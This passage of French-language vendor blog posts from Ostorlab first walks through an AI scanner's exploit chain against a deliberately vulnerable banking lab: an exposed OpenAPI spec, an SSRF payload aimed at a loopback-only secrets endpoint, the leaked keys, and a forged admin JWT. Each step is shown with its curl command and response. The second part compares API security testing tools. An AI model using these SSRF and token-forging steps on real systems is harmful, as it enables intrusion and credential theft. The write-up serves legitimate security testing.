Un contrôle qui fonctionne met fin au test	Un `403` correct est enregistré comme un résultat négatif et l'endpoint est abandonné	Que le contrôle désigne une partie autorisée qu'il serait peut-être possible d'atteindre par d'autres moyens

Chacun de ces comportements est correct pris isolément. Récupérer la spécification ne produit aucune correspondance de signature. Sonder /internal/secret produit un véritable 403. Aucune de ces observations n'est fausse, et aucune ne produit de vulnérabilité.

Ce que fait l'agent différemment

Agentic Deep Scan d'Ostorlab exécute une boucle de raisonnement continue en cinq étapes pour découvrir et valider les vulnérabilités :

Reconnaissance — cartographier la surface : endpoints, paramètres, exigences d'authentification, artefacts exposés.
Hypothèse — raisonner sur ce qui pourrait mal tourner au vu de ce qui a été observé.
Test — envoyer la requête qui confirme ou infirme l'hypothèse.
Validation — confirmer un impact réel plutôt qu'une réponse suggestive.
Enchaînement — se demander si ce résultat, combiné à tout ce qui a déjà été trouvé, ouvre un chemin encore inexploré.

Les étapes 2 et 5 font la différence. Un scanner fondé sur des signatures dispose de l'étape 3 et, faiblement, de l'étape 4. Il ne formule aucune hypothèse sur la finalité d'une fonctionnalité et ne conserve aucun modèle des vulnérabilités précédentes à combiner avec la vulnérabilité courante. Un agent tient un inventaire continu de l'application — ce qu'il a vu, ce qu'il a écarté, ce qui reste inexpliqué — et le consulte à chaque nouveau résultat. La chaîne ci-dessous existe tout entière à l'étape 5.

Voir la chaîne à l'œuvre : un enchaînement trouvé par Agentic Deep Scan

Vulnérabilité n° 1 (moyenne) : spécification OpenAPI accessible publiquement

L'application servait un document OpenAPI 3.0 complet depuis son répertoire public de ressources statiques :

$ curl -s https://vulnbank.org/static/openapi.json | wc -l
1471

$ curl -I https://vulnbank.org/static/openapi.json
HTTP/2 200
content-type: application/json

Aucune authentification, un chemin prévisible, 1 471 lignes décrivant 32 endpoints avec leurs schémas et les exigences d'authentification de chaque route. /static/ est l'endroit où un frontend range ses feuilles de style et ses images — pas un contrat de backend.

La vulnérabilité initiale : une spécification d'API lisible publiquement

Figure 1 : classée en sévérité moyenne, à juste titre en elle-même. La description de la vulnérabilité signale déjà la conséquence : la spécification « reveals the existence of sensitive endpoints like /sup3r_s3cr3t_admin that would otherwise require extensive crawling to discover. »

Son énumération a transformé 1 471 lignes en une surface structurée — y compris des routes que l'application ne référence jamais :

Catégorie	Endpoints
Authentification	`/login`, `/register`, `/api/v1/forgot-password`
Transactions	`/transfer`, `/transactions/{account_number}`, `/check_balance`
Administration	`/sup3r_s3cr3t_admin`, `/admin/create_admin`, `/admin/delete_account/{user_id}`
Interne	`/internal/config.json`, `/internal/secret`, `/latest/meta-data/*`
Téléversement de fichiers	`/upload_profile_picture`, `/upload_profile_picture_url`

La spécification analysée sous forme d'inventaire des endpoints

Figure 2 : la spécification analysée sous forme d'inventaire. La valeur ne tient pas à un chemin en particulier — mais au fait de tenir toute la surface sous les yeux en même temps.

L'hypothèse évidente, réfutée à juste titre. /internal/secret s'annonce lui-même, donc l'agent l'a demandé :

$ curl -s -i https://vulnbank.org/internal/secret
HTTP/2 403
{"error": "Internal resource. Loopback only."}

Refusé, et refusé à raison. L'endpoint vérifie d'où vient la requête et ne répond qu'à la machine elle-même. Pour un outil qui teste les endpoints indépendamment, c'est la fin du chemin : hypothèse réfutée, contrôle solide, on passe à autre chose.

Vulnérabilité n° 2 (critique) : SSRF via le téléversement de photo de profil

La bonne question n'était pas de savoir comment vaincre le contrôle de loopback, mais qui le satisfait — et si cette partie peut être amenée à agir.

Loopback désigne le serveur. Une ligne de l'inventaire, rangée sous le téléversement de fichiers, décrit une fonctionnalité qui fait émettre des requêtes sortantes au serveur à la demande :

$ curl -X POST https://vulnbank.org/upload_profile_picture_url \
    -H "Authorization: Bearer <JWT>" \
    -H "Content-Type: application/json" \
    -d '{"image_url": "http://127.0.0.1:5000/internal/secret"}'

La requête provient désormais de 127.0.0.1. Le contrôle de loopback est franchi — réellement satisfait, pas contourné.

Le pivot, retracé jusqu'à la spécification

Figure 3 : la vulnérabilité consigne elle-même sa provenance dans la première ligne de son bloc de code — # From OpenAPI spec analysis.

{{
  "secrets": {{
    "app_secret_key": "secret123",
    "jwt_secret": "secret123",
    "env_preview": {{
      "DB_HOST": "db",
      "DB_NAME": "vulnerable_bank",
      "DB_USER": "postgres",
      "DB_PASSWORD": "postgres"
    }},
    "DEEPSEEK_API_KEY": "sk-e2719..."
  }}
}}

Trois requêtes, de l'inscription aux identifiants

Figure 4 : la séquence complète telle qu'enregistrée — inscription, pivot, exfiltration. Le payload est capturé tel quel plutôt que résumé.

Vulnérabilité n° 3 (critique) : exposition de données sensibles via `/internal/secret` non protégé

Une seule réponse suggestive ne constitue pas une vulnérabilité ; le chemin a donc été rejoué pour confirmer que le comportement était reproductible et que les valeurs étaient réelles :

Tentative de validation 1 — La requête SSRF via /upload_profile_picture_url vers http://127.0.0.1:5000/internal/secret a renvoyé l'intégralité du payload de secrets Tentative de validation 2 — Identifiants confirmés : App Secret=secret123, JWT Secret=secret123, identifiants de base de données=postgres/postgres

Cette seconde ligne est ce qui transforme une réponse en énoncé d'impact, et l'exécution ne s'est pas arrêtée à la lecture du payload. Le jwt_secret divulgué a servi à signer un jeton revendiquant {"user_id": 1, "username": "admin", "is_admin": true}, qui a ensuite été présenté à la route d'administration que la spécification avait révélée à la première étape :

$ curl -X GET https://vulnbank.org/sup3r_s3cr3t_admin \
    -H "Authorization: Bearer <token forged with secret123>"
HTTP/2 200   # full admin panel

Le secret n'a pas été simplement observé en transit. Il a servi à fabriquer un identifiant que l'application a accepté, ce qui fait la différence entre une chaîne divulguée et un contournement de l'authentification.

Critique : l'endpoint qui renvoyait un 403, récupéré en intégralité

Figure 5 : la description énonce clairement la dépendance — « Combined with the SSRF vulnerability ».

Le contrôle et la voie de contournement, enregistrés ensemble

Figure 6 : le contrôle et son contournement dans une même vue. Le 403 est authentique. Ce qui l'a vaincu n'est pas une attaque contre cette vérification, mais un second endpoint issu de la même spécification.

Lire la chaîne

Étape	Vulnérabilité	Sévérité	Fourni par
1	Spécification OpenAPI servie publiquement	Moyenne	Erreur de déploiement
2	SSRF via la récupération d'URL de la photo de profil	Critique	Endpoint nommé dans la spécification
3	Contenu de `/internal/secret` exfiltré	Critique	La SSRF, dirigée vers une cible nommée dans la même spécification
4	Session d'administrateur forgée avec le secret JWT divulgué	Impact du n° 3	La clé de signature de l'étape 3, contre une route d'administration de l'étape 1

L'essentiel est mécanique. Récupérer un fichier statique, analyser du JSON, énumérer des chemins, envoyer une requête à chacun et enregistrer le statut — tout cela est automatisable sans aucun raisonnement.

L'étape qui n'est pas mécanique se situe entre les lignes 1 et 2. La ligne 1 est un inventaire. La ligne 3 est l'objectif. La ligne 2 n'est ni l'un ni l'autre : c'est la prise de conscience qu'une fonctionnalité rangée sous « téléversement de fichiers » est, du point de vue du serveur, un générateur de requêtes — et qu'un générateur de requêtes est exactement ce que requiert une restriction de loopback.

Rien dans la spécification ne le dit. Le document décrit /upload_profile_picture_url comme un téléversement d'image, parce que c'est son rôle. La lire comme un pivot suppose de garder deux lignes sans rapport à l'esprit en même temps et de se demander ce que l'une peut faire à l'autre.

Où se situe réellement la sévérité

Il est tentant de réévaluer à la hausse la divulgation de la spécification maintenant que deux vulnérabilités critiques y remontent. Ce serait une erreur, et l'agent ne l'a pas commise.

La plupart des endpoints de cette spécification étaient sains. Leur énumération n'a rien donné, car leurs contrôles tenaient. /internal/secret lui-même a renvoyé un 403 correct à l'accès direct. La spécification n'a pas créé la SSRF et n'a pas affaibli le contrôle de loopback.

Ce qu'elle a changé, c'est le coût. Elle a transformé une recherche à l'aveugle sur une surface d'API inconnue en un exercice dirigé contre une carte complète, et rendu la relation entre deux endpoints visible d'un coup d'œil.

Cette distinction guide la remédiation. Retirez la spécification, et la SSRF fonctionne toujours, le contournement du loopback aussi, et /internal/secret continue de livrer des identifiants de base de données à quiconque peut l'atteindre de l'intérieur. Le document ne devrait pas être public — mais le corriger règle la découverte, pas l'exposition.

FAQ

Pourquoi une spécification OpenAPI exposée est-elle un risque de sécurité ? Elle contient rarement des identifiants, ce qui explique qu'elle soit rarement classée au-dessus de la sévérité moyenne à elle seule. Son risque tient au fait qu'elle publie l'inventaire complet des endpoints — y compris les routes que l'interface ne référence jamais — avec les schémas de paramètres et les exigences d'authentification de chaque endpoint. Cela transforme une recherche à l'aveugle sur une surface d'API inconnue en un exercice dirigé contre une carte connue, et rend visibles des relations entre endpoints qui demanderaient sinon un long travail d'exploration.

Comment une SSRF contourne-t-elle une restriction limitée au loopback ? Elle ne la contourne pas ; elle la satisfait. Un endpoint restreint au loopback vérifie l'origine de la requête et ne répond qu'au serveur lui-même. Une vulnérabilité de falsification de requête côté serveur (SSRF) permet à un attaquant de fournir une URL que le serveur récupère ensuite, de sorte que la requête obtenue provient réellement de 127.0.0.1. Le contrôle s'évalue correctement et l'autorise — c'est pourquoi les restrictions de loopback ne suffisent pas à elles seules dès lors qu'un endpoint de la même application récupère des URL fournies par l'utilisateur.

Faut-il réévaluer à la hausse une vulnérabilité de faible sévérité lorsqu'elle mène à une vulnérabilité critique ? En général non. Ici, la divulgation de la spécification n'a pas créé la SSRF et n'a pas affaibli le contrôle de loopback ; les deux vulnérabilités existaient indépendamment. Ce qu'elle a changé, c'est le coût de découverte. La supprimer ne fermerait aucune des deux vulnérabilités critiques, et la réévaluer à la hausse tend à détourner la remédiation vers la divulgation plutôt que vers le défaut exploitable.

Qu'est-ce qui distingue le scan agentique du scan fondé sur des signatures ? Un scanner fondé sur des signatures évalue les endpoints isolément et ne conserve aucune mémoire reliant un résultat au suivant. Récupérer la spécification ne produit aucune correspondance ; sonder /internal/secret produit un 403 correct, justement enregistré comme un résultat négatif. Aucune de ces observations n'est fausse. La vulnérabilité n'existe que dans la relation entre deux endpoints listés dans le même fichier, ce qui exige de maintenir un modèle de la surface d'une requête à l'autre.

Ces tests ont-ils été réalisés contre un système de production ? Non. Tous les tests ont été réalisés contre vulnbank.org, une application volontairement vulnérable publiée pour la recherche en sécurité et le benchmark d'outils. Les identifiants présentés sont des valeurs de test pré-remplies au sein de ce bac à sable.

En résumé

Les scanners continueront de trouver ce qui paraît anormal sur le réseau, et c'est leur rôle — une spécification d'API servie publiquement est exactement le type de mauvaise configuration qu'une règle détecte à peu de frais. Ce qu'une règle ne sait pas faire, c'est lire cette spécification comme un plan de bâtiment et remarquer que deux endpoints décrits dans des sections différentes, pour des raisons différentes, se combinent en une route de contournement d'un contrôle qui fonctionne parfaitement bien en lui-même.

Voilà le changement que représente concrètement le test agentique : non pas trouver plus de motifs, mais garder assez de l'application en mémoire pour voir ce que ses composants se font les uns aux autres.

Exécutez la même boucle de raisonnement contre votre propre surface avec Ostorlab Agentic Deep Scan.

Meilleurs outils de test de sécurité des API en 2026 : 4 comparés

2026-09-22T14:00:00+02:00

Choisir un outil de test de sécurité des API est plus difficile qu'il n'y paraît. La plupart des éditeurs annoncent la même liste de fonctionnalités, et les différences n'apparaissent que lorsqu'on les pointe vers ses propres API. Nous avons comparé quatre outils qui adoptent des approches très différentes : StackHawk, 42Crunch, Escape et Ostorlab.

Résumé exécutif (TL;DR)

StackHawk convient aux équipes qui veulent du test dynamique de sécurité des applications (DAST) à chaque pull request. 42Crunch convient aux équipes qui exploitent leurs API à partir de contrats OpenAPI.
Escape convient aux équipes API-first avec des back-ends fortement GraphQL. Ostorlab convient aux produits où les applications mobiles, les frontends web et le code appellent tous le même back-end.
Le plus grand écart entre les outils concerne les tests d'autorisation : le contrôle d'accès défaillant au niveau de l'objet (BOLA) et le contrôle d'accès défaillant au niveau de la fonction (BFLA). Vérifiez-le en premier dans tout essai.

Qu'est-ce que le test de sécurité des API ? Le test de sécurité des API vérifie qu'une API ne fait que ce qu'elle est censée faire, pour les utilisateurs censés le faire. Il couvre l'injection et les mauvaises configurations, mais aussi les failles d'autorisation telles que le contrôle d'accès défaillant au niveau de l'objet (BOLA), où une requête valide et authentifiée renvoie les données d'un autre utilisateur. BOLA est API1 dans les éditions 2019 et 2023 de l'OWASP API Security Top 10.

Quels sont les meilleurs outils de test de sécurité des API en 2026 ?

Les quatre outils abordent chacun le problème sous un angle différent, donc le bon choix dépend de la façon dont vos API sont construites :

Si votre priorité est…	Commencez par	Pourquoi
Du DAST à chaque pull request, exécuté par les développeurs	StackHawk	Le scanner s'exécute localement ou en CI contre une application en cours d'exécution, et les résultats arrivent dans la PR
Gouverner les API via des contrats OpenAPI	42Crunch	Il audite la spécification avant la mise en production du code, puis vérifie que l'API en direct y est conforme
Tester la logique métier pour GraphQL et REST sans maintenir de spécifications	Escape	Tests d'autorisation multi-utilisateurs et génération de schéma à partir du code
Tester les API conjointement avec les clients mobiles et web qui les appellent	Ostorlab	Il extrait les jetons et les routes des clients et du code, puis les teste contre l'API en direct

Comment avons-nous évalué ces outils de test de sécurité des API ?

Nous avons comparé les quatre plateformes sur huit critères. Ils font aussi office de questions à poser à tout éditeur lors d'un essai :

Critère	À quoi ressemble une bonne réponse
Couverture des protocoles	Teste (pas seulement découvre) chaque style d'API que vous exploitez : REST, GraphQL, gRPC, SOAP, WebSockets, et de plus en plus les serveurs Model Context Protocol (MCP)
Dépendance à la spécification	Fonctionne avec une spécification incomplète ou absente, et peut en générer ou en déduire une
Gestion de l'authentification	Gère votre véritable flux de connexion (flux OAuth2, connexions scriptées, MFA, renouvellement de jeton) sans coller les jetons à la main
Tests d'autorisation	Tests BOLA et BFLA automatisés avec plusieurs identités, pas uniquement des scans mono-utilisateur
Découverte	Trouve les points de terminaison non documentés à partir du code, du trafic ou des clients
Contexte côté client	Peut utiliser ce que les applications mobiles, les SPA et les dépôts exposent (clés, routes, formats de requête) comme donnée de test
Workflow développeur	Intégrations CI/CD, retour sur PR, support IDE, et un moyen de faire échouer les builds sur de nouveaux résultats
Cibles privées	Peut atteindre les environnements de staging et les API internes via un runner local, un agent privé ou un scanner sur site

Comment nous avons recueilli les faits : chaque capacité ci-dessous provient de la documentation publique et des pages produit de chaque éditeur, vérifiées en septembre 2026. Les liens pointent vers les pages que nous avons utilisées. Cette comparaison a été rédigée par Ostorlab, qui est l'un des quatre éditeurs couverts ; nous avons donc conservé la même structure pour chaque profil et signalé tout ce que nous n'avons pas pu confirmer.

Quels types d'outils de test de sécurité des API existe-t-il ?

Le « test de sécurité des API » recouvre plusieurs techniques, et la plupart des outils en combinent deux ou trois :

API DAST (test dynamique) : envoie des requêtes en direct à une API en cours d'exécution pour trouver des injections, de la falsification de requête côté serveur (SSRF), des mauvaises configurations et des failles d'authentification. Il nécessite un environnement accessible et des identifiants de test.
Test de contrat et de schéma : audite une définition OpenAPI ou GraphQL à la recherche de paramètres de sécurité faibles. Il génère ensuite des requêtes à partir de celle-ci, y compris des requêtes malformées, pour vérifier que l'API en direct correspond au contrat.
Test de logique métier et d'autorisation : utilise deux identités d'utilisateur ou plus. Il vérifie qu'un utilisateur ne peut pas lire ou modifier les objets d'un autre utilisateur (BOLA) ou appeler des fonctions au-delà de son rôle (BFLA).
Découverte et inventaire des API : trouve les API que personne n'a documentées, en utilisant le code source, le trafic, le DNS ou les comptes cloud, afin qu'elles puissent être testées.
Pentest agentique ou par IA : un agent IA explore l'application, formule des hypothèses, enchaîne les résultats et étaye chaque exploit par des preuves.
Protection à l'exécution : les pare-feux et passerelles API bloquent les attaques en production. Ils complètent les tests ; ils ne les remplacent pas.

StackHawk : DAST orienté développeur

Focus : DAST continu dans le workflow de développement.

Le scanner de StackHawk, HawkScan, s'exécute en CLI ou en conteneur Docker, sur un ordinateur portable ou en CI, contre une application en cours d'exécution. Il prend en charge REST (OpenAPI), GraphQL, gRPC, JSON-RPC et SOAP. La documentation couvre aussi le test de serveurs MCP distants et les vérifications de sécurité LLM.

Les tests d'autorisation passent par Business Logic Testing. HawkScan parcourt l'API sous plusieurs profils utilisateur, enregistre les identifiants de ressources et les rejoue entre les profils pour détecter le BOLA et le contrôle d'accès défaillant au niveau des propriétés de l'objet (BOPLA, API3). Les profils marqués comme privilégiés pilotent les vérifications BFLA. La fonctionnalité nécessite une spécification OpenAPI et au moins deux comptes de test.

Pour la découverte, StackHawk se connecte à GitHub, GitLab, Azure Repos et Bitbucket pour trouver les API dans le code, et peut en générer des spécifications OpenAPI.

Couverture des critères :

Authentification : connexion par formulaire, cookies et jetons porteurs, flux OAuth client credentials et password via scripts, plus des scripts d'authentification JavaScript ou Kotlin personnalisés.
Workflow développeur : GitHub Actions, GitLab CI, Jenkins et Azure Pipelines, plus des intégrations pour les assistants de code IA.
Déploiement : CLI locale, Docker, ou scan hébergé dans le cloud de StackHawk.
Forces : résultats renvoyés dans la vérification de pull request qui conditionne la fusion, support REST/GraphQL/gRPC/JSON-RPC/SOAP, tests d'autorisation multi-utilisateurs, et découverte d'API à partir du code.
Limites : il nécessite un environnement en cours d'exécution, et la documentation recommande de l'exécuter là où les modifications de données sont acceptables. Business Logic Testing dépend d'une spécification. Les points de terminaison WebSocket sont détectés dans le code mais non scannés. L'analyse de binaires mobiles ne fait pas partie du produit.

42Crunch : sécurité et gouvernance des contrats d'API

Focus : qualité et conformité des contrats OpenAPI.

42Crunch commence par la définition de l'API. API Audit exécute plus de 200 vérifications statiques sur un fichier OpenAPI (v2, 3.0, 3.1) et lui attribue un score de 0 à 100, qu'un pipeline CI peut utiliser comme porte de qualité. API Scan envoie ensuite des requêtes générées à l'API en direct pour confirmer qu'elle se comporte comme le spécifie le contrat. Cela inclut des requêtes qui devraient être rejetées.

Scan v2 ajoute des scénarios (requêtes enchaînées) et des tests d'autorisation. Vous choisissez BOLA ou BFLA, fournissez un identifiant qui devrait réussir et un qui devrait être refusé, et attachez les opérations à tester.

Au-delà des tests, API Protection est un petit pare-feu API basé sur le contrat qui s'exécute comme sidecar Kubernetes ou sur ECS et OpenShift. 42Crunch répertorie aussi la découverte, l'audit, le scan et la protection à l'exécution des serveurs MCP.

Couverture des critères :

Protocoles : OpenAPI, plus GraphQL SDL dans Audit et Scan en tant qu'abonnement séparé (pas encore dans API Protection ni les extensions IDE).
Workflow développeur : extensions VS Code, JetBrains et Eclipse qui exécutent Audit et Scan. Les intégrations CI incluent GitHub Actions, GitLab, Azure Pipelines, Jenkins et Bitbucket, avec sortie SARIF.
Déploiement : les scans s'exécutent depuis la plateforme 42Crunch ou sur site avec l'image Docker scand-agent.
Forces : audit de contrat avant commit, test de conformité, configuration explicite des tests BOLA/BFLA, et un pare-feu à l'exécution qui applique le même contrat.
Limites : tout ce qui manque à la spécification est hors périmètre, donc les routes non documentées ne sont pas testées. Sa « découverte » trouve les fichiers OpenAPI déjà présents dans vos dépôts ; elle ne déduit pas les API à partir du code ou du trafic. gRPC et SOAP ne sont pas documentés comme cibles de scan.

Escape : DAST de logique métier et découverte d'API

Focus : test de logique métier API-first, en particulier pour GraphQL.

Le DAST d'Escape teste les API REST et GraphQL ainsi que les applications web. Il inclut des vérifications spécifiques aux LLM, telles que l'injection de prompt et la fuite de prompt système, pour les points de terminaison qui enveloppent un modèle. Ses préréglages de connexion couvrent les flux OAuth, AWS Cognito, les séquences cURL, les connexions pilotées par navigateur, et MFA/TOTP, ce qui aide avec les flux qui font échouer les scanners plus simples.

Pour l'autorisation, le test multi-utilisateurs traite un compte comme la victime. Les autres comptes tentent d'atteindre ses données via l'énumération d'identifiants et le rejeu de requêtes, ce qui couvre à la fois l'isolation des locataires et l'élévation de privilèges.

Pour la découverte, la gestion de la surface d'attaque d'Escape trouve les API fantômes via le DNS et les journaux de certificats, le fingerprinting et le trafic. Elle peut aussi générer des schémas à partir du code source sur GitHub, GitLab ou Bitbucket.

Couverture des critères :

Workflow développeur : GitHub Actions, GitLab CI, Jenkins, CircleCI, une CLI et une API publique.
Déploiement : SaaS par défaut. Des agents de localisation privés (Docker, Kubernetes, ou un binaire) atteignent les cibles internes.
Forces : test de logique métier multi-utilisateurs, profondeur GraphQL, un large ensemble de préréglages de connexion, et génération de spécifications à partir du code.
Limites : gRPC et SOAP apparaissent sur les pages de découverte d'Escape, mais sa documentation DAST couvre REST et GraphQL ; confirmez les autres protocoles lors d'un essai. L'analyse de binaires mobiles n'est pas répertoriée.

Ostorlab : test d'API à travers le mobile, le web et le code

Focus : API testées conjointement avec les applications mobiles, les frontends web et le code source qui les appellent.

Ostorlab teste en direct les API REST, GraphQL et SOAP/WSDL. GraphQL est cartographié via introspection ou un schéma téléchargé, puis testé avec des requêtes et mutations générées. Les services gRPC sont analysés à partir des définitions .proto, sans appels en direct. Il importe OpenAPI, les schémas GraphQL, WSDL ou les définitions protobuf, mais une spécification est facultative : sans elle, il trouve les points de terminaison dans les paquets mobiles, les bundles web, les source maps et le code, capture le trafic depuis des applications s'exécutant sur des appareils instrumentés, et sonde les emplacements Swagger connus. La même plateforme scanne les applications Android (APK/AAB) et iOS (IPA), les applications web, les réseaux et le code source.

Son Multi-Asset Deep Agentic Scan réunit tout cela en une seule évaluation. Un scan peut couvrir une application mobile aux côtés d'applications web et d'API, de dépôts de code et de documentation comme des fichiers OpenAPI ou des collections Postman. L'agent décompile l'application et en extrait les identifiants, les routes et la logique de signature des requêtes. Il les utilise ensuite pour tester le back-end.

Ajout d'actifs à un Multi-Asset Deep Agentic Scan

Ajout d'actifs à un Multi-Asset Deep Agentic Scan : applications mobiles depuis un store ou en tant que fichier, applications web, réseaux, dépôts de code et fichiers de support tels que des schémas d'API.

Dans une évaluation, l'agent a trouvé un identifiant machine-to-machine Auth0 compilé dans une application iOS. Il a ensuite découvert que le même identifiant était également autorisé pour l'API Auth0 Management, et une seule requête en lecture seule a renvoyé l'annuaire utilisateur du locataire, comptant 1 000 enregistrements. Nous décrivons la chaîne complète dans How AI Catches Complex Vulnerabilities.

Un scanner qui n'atteint que l'API n'aurait pas pu extraire cet identifiant, car il n'existait que dans le binaire iOS compilé. Nous détaillons cette chaîne et une autre dans Why API Security Testing Alone Fails.

Couverture des critères :

Tests d'autorisation : l'agent trouve les identifiants d'objets et teste l'accès entre utilisateurs et rôles. Il démontre une faille BOLA ou BFLA par une lecture non autorisée plutôt qu'en modifiant des données.
Workflow développeur : GitHub, GitLab, Jenkins, CircleCI, Bitbucket, Azure DevOps, Bitrise et d'autres intégrations CI, plus Jira, Linear, Slack et un serveur MCP.
Déploiement : scanners cloud (mettez en liste blanche leurs adresses IP publiées pour les cibles derrière un WAF ou une liste blanche d'IP), ou un scanner sur site qui s'exécute dans votre réseau et n'ouvre que des connexions sortantes. Les scanners sur site peuvent être regroupés afin que les scans s'exécutent sur celui qui est disponible.
Sécurité : les agents démontrent l'impact avec l'action sûre la plus minime et vérifient les jetons avec des requêtes en lecture seule. Un agent de surveillance distinct peut arrêter un scan, le trafic de scan passe par un pare-feu, et les débits de requêtes sont plafonnés au niveau de l'hôte du scanner.
Forces : le contexte issu des binaires mobiles, des bundles web et du code alimente les tests d'API. Il ne nécessite aucune spécification, et les résultats enchaînés sont accompagnés de preuves de requête et de réponse.
Limites : une évaluation multi-actifs prend plus de temps qu'un passage DAST en CI, elle s'intègre donc mieux aux cycles de publication qu'à chaque commit, et chaque scan couvre une application mobile. Les appels gRPC en direct, les transports WebSocket (y compris les abonnements GraphQL) et les certificats client mTLS ne sont pas encore pris en charge. Les équipes qui veulent du linting OpenAPI avant commit voudront tout de même un outil de gouvernance de spécification.

Comment StackHawk, 42Crunch, Escape et Ostorlab se comparent-ils ?

Ce tableau aligne les quatre outils sur les mêmes capacités, en utilisant la documentation publique de chaque éditeur :

Capacité	StackHawk	42Crunch	Escape	Ostorlab
Approche principale	DAST CI/CD orienté développeur	Audit et conformité des contrats	DAST de logique métier	Test agentique multi-actifs
REST / OpenAPI	✅	✅	✅	✅
GraphQL	✅	✅ (abonnement séparé)	✅	✅
gRPC / SOAP	✅ / ✅	Non documenté	Découverte uniquement (selon la doc)	Analyse `.proto`, pas d'appels en direct / ✅
Test de serveur MCP	✅ Test de MCP distant	✅ Audit, scan, protection à l'exécution	Non documenté pour le DAST	Non documenté (fournit son propre serveur MCP pour l'automatisation)
Spécification requise	Non pour le DAST ; oui pour Business Logic Testing	Oui (OpenAPI ou GraphQL SDL)	Non (peut générer à partir du code)	Non (découvre les points de terminaison)
Tests BOLA / BFLA	Rejeu multi-profils	Identifiants source/cible configurés	Modèle multi-utilisateurs victime/attaquant	Agentique, entre utilisateurs et actifs
Découverte d'API fantômes	À partir des dépôts de code	Trouve les fichiers de spécification dans les dépôts	DNS, trafic, fingerprinting, code	À partir des applications mobiles, du trafic web et du code
Analyse de binaires mobiles	❌	❌	❌	✅ APK / AAB / IPA
Test de chaîne client-vers-API	❌	❌	❌	✅ Dans le même scan
Outillage IDE et développeur	Intégrations d'assistants de code IA	VS Code, JetBrains, Eclipse	Non documenté	Via serveur MCP
Cibles privées	CLI locale / Docker	Agent Docker sur site	Agents de localisation privés	Scanner sur site
Protection à l'exécution	❌	✅ Micro pare-feu API	❌	❌

Basé sur la documentation publique de chaque éditeur en date de septembre 2026. « Non documenté » et ❌ signifient que la capacité n'est pas répertoriée, pas qu'un éditeur a confirmé son absence.

Quels risques de l'OWASP API Top 10 chaque technique de test peut-elle trouver ?

Ce tableau met en correspondance l'OWASP API Security Top 10 (2023) avec quatre techniques de test : le test de contrat, le DAST, le test de logique multi-utilisateurs et le test agentique ou multi-actifs. Les évaluations s'appliquent à chaque technique, pas à un outil spécifique. La couverture au sein d'une technique varie selon l'outil et sa configuration.

Risque de l'OWASP API	Test de contrat	DAST	Test de logique multi-utilisateurs	Agentique / multi-actifs
API1 : Broken Object Level Authorization	Partiel (tests configurés)	❌	✅	✅
API2 : Broken Authentication	Partiel	✅	✅	✅, y compris les identifiants client divulgués
API3 : Broken Object Property Level Authorization	Partiel (violations de schéma)	Partiel	✅	✅
API4 : Unrestricted Resource Consumption	Partiel (limites de la spécification)	✅	Partiel	Partiel (dépend de la conception du test de limitation de débit)
API5 : Broken Function Level Authorization	Partiel (tests configurés)	❌	✅	✅
API6 : Unrestricted Access to Sensitive Business Flows	❌	❌	Partiel	Partiel (nécessite le contexte du flux métier)
API7 : Server Side Request Forgery	❌	✅	❌	✅
API8 : Security Misconfiguration	✅	✅	✅	✅
API9 : Improper Inventory Management	❌ (spécification uniquement)	Partiel	Partiel (avec découverte)	✅, à partir des clients et du code
API10 : Unsafe Consumption of APIs	❌	Partiel	Partiel	Partiel

Ces évaluations constituent notre appréciation éditoriale de ce que chaque technique de test peut détecter, et non une couverture vérifiée d'un éditeur spécifique.

Deux tendances se dégagent. Les risques d'autorisation (API1 et API5) nécessitent plus d'une identité, donc un scan DAST mono-utilisateur les manque complètement et ne détecte que partiellement API3 via les violations de schéma. Les risques d'inventaire (API9) nécessitent de la découverte. Un outil qui ne teste que la spécification qu'il reçoit ne peut pas voir ce que cette spécification omet.

Quelle plateforme de test de sécurité des API correspond à votre architecture ?

Votre architecture compte plus que n'importe quelle liste de fonctionnalités. Voici les configurations que nous observons le plus souvent :

Un monolithe ou quelques services REST, avec une forte culture CI : StackHawk à chaque pull request couvre la majeure partie de la surface. Ajoutez des profils multi-utilisateurs tôt pour que le BOLA soit testé dès le premier jour.
Une organisation spec-first avec un programme de gouvernance des API : 42Crunch impose la qualité du contrat avant la mise en production du code et à l'exécution. Associez-le à un outil DAST ou agentique pour les routes qui n'ont jamais intégré la spécification.
Un back-end fortement GraphQL ou de nombreux microservices : la profondeur GraphQL d'Escape, la génération de schémas et la découverte d'API fantômes conviennent bien. Confirmez la couverture de tout service gRPC ou SOAP lors de l'essai.
Des applications mobiles ou des SPA appelant le même back-end : Ostorlab teste le back-end avec les identifiants, les routes et les formats de requête que les clients expédient réellement. Cela détecte les chaînes qui commencent dans le client.
Plusieurs des cas ci-dessus : la plupart des équipes matures exploitent deux couches, un outil CI rapide à chaque changement et une évaluation agentique ou multi-actifs plus approfondie à chaque publication.

Que devriez-vous tester lors d'un essai d'outil de sécurité des API ?

Les listes de fonctionnalités se ressemblent toutes. Un essai de deux semaines sur vos propres API montre où les outils diffèrent réellement. Utilisez cette checklist :

Apportez un bug connu. Plantez (ou réutilisez) un problème BOLA en staging et voyez quels outils le trouvent, et combien de configuration cela nécessite.
Utilisez votre connexion réelle. Pointez chaque outil vers votre flux d'authentification réel, y compris le renouvellement de jeton et le MFA, pas un jeton porteur collé.
Cachez une partie de la spécification. Retirez quelques routes du fichier OpenAPI et voyez quels outils les trouvent et les testent quand même.
Incluez un canal secondaire. Si vous utilisez des WebSockets, gRPC ou des webhooks, vérifiez s'ils sont testés ou seulement répertoriés.
Incluez un client. Donnez votre application mobile ou votre SPA aux outils qui le prennent en charge, et vérifiez si ce qu'ils extraient est utilisé dans les tests d'API.
Mesurez le bruit. Comptez les résultats que votre équipe rejette comme faux positifs ou non exploitables, et chronométrez le triage.
Vérifiez la preuve. Un bon résultat inclut la requête et la réponse exactes, l'identité utilisée, et un correctif lié au code.
Testez le pipeline. Exécutez l'outil en CI sur une vraie pull request et chronométrez-le. Vérifiez qu'il peut faire échouer le build uniquement sur les nouveaux résultats de sévérité élevée.
Atteignez une cible privée. Déployez le runner ou l'agent dans votre réseau et confirmez qu'il peut scanner une API de staging interne, y compris une derrière mTLS si vous l'utilisez.
Posez des questions sur la sécurité. Découvrez comment l'outil évite les actions destructrices, ce qu'il fait des identifiants découverts, et comment il limite les débits de requêtes contre vos systèmes.

Questions fréquentes (FAQ)

Quel est le meilleur outil de test de sécurité des API en 2026 ?

Cela dépend de l'architecture. StackHawk convient au DAST exécuté par les développeurs en CI/CD, 42Crunch convient à la gouvernance des contrats OpenAPI, Escape convient au test de logique métier des API GraphQL et REST, et Ostorlab convient aux applications où les applications mobiles, les frontends web et le code source partagent une API back-end. De nombreuses équipes associent un outil CI à une évaluation périodique plus approfondie.

